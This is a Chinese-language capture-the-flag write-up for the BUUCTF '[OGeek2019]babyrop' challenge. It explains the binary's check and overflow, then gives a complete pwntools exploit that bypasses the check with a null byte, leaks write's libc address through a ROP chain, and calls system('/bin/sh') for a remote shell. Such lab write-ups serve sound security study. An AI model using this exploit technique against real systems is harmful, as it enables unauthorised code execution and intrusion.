buu-[OGeek2019]babyrop-好久不见41
-
打开
/dev/urandom
设备文件,读取4个字节到buf
中。 -
将
buf
传递给sub_804871F()
函数,该函数似乎对输入进行某种处理并返回一个值v2
。 -
最后,将
v2
传递给sub_80487D0()
函数。
-
这个函数首先将
a1
转换为字符串s
。 -
然后从标准输入读取数据到
buf
中,并确保buf
以\0
结尾。 -
比较
buf
和s
是否相同,如果不同则退出程序。 -
如果相同,则输出 "Correct" 并返回
buf[7]
的值。
-
这个函数根据
a1
的值从标准输入读取数据到buf
中。
步骤1:泄漏 write
函数地址
-
首先,通过发送特定的 payload 来绕过某种检查(可能是程序中的某种验证逻辑)。
-
构造 ROP 链调用
write
函数,将write_got
中的地址(即write
的实际地址)输出到标准输出。 -
通过泄漏的
write
地址找到匹配的 libc 版本,并计算出 libc 的基址。
**步骤2:构造 payload 调用 system("/bin/sh")
-
构造 ROP 链,调用
system("/bin/sh")
。 -
将
system
函数的地址放入返回地址。 -
将
/bin/sh
的地址作为参数传递给system
。
from pwn import *
from LibcSearcher import *
context.log_level='debug'
elf=ELF("./baby")
p=remote('node5.buuoj.cn',27634)
# p=process("./pwn")
payload1='\x00'+'\xff'*7
p.sendline(payload1)
p.recvuntil("Correct\n")
write_plt=elf.plt['write']
write_got=elf.got['write']
main_address=0x08048825
payload2=b'a'*0xe7+b'a'*4+p32(write_plt)+p32(main_address)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload2)
addr=u32(p.recv(4))#write_addr
libc=LibcSearcher("write",addr)#通过write的地址来找到符合的libc版本
libc_base_addr=addr-libc.dump("write")#libc基址
system_addr=libc_base_addr+libc.dump("system")#system地址
bin_addr=libc_base_addr+libc.dump("str_bin_sh")#/bin/sh地址
print(hex(system_addr))
print(hex(bin_addr))
p.sendline(payload1)
p.recvuntil("Correct\n")
payload3=b'a'*0xe7+b'a'*4+p32(system_addr)+p32(0)+p32(bin_addr)
p.sendline(payload3)
p.interactive()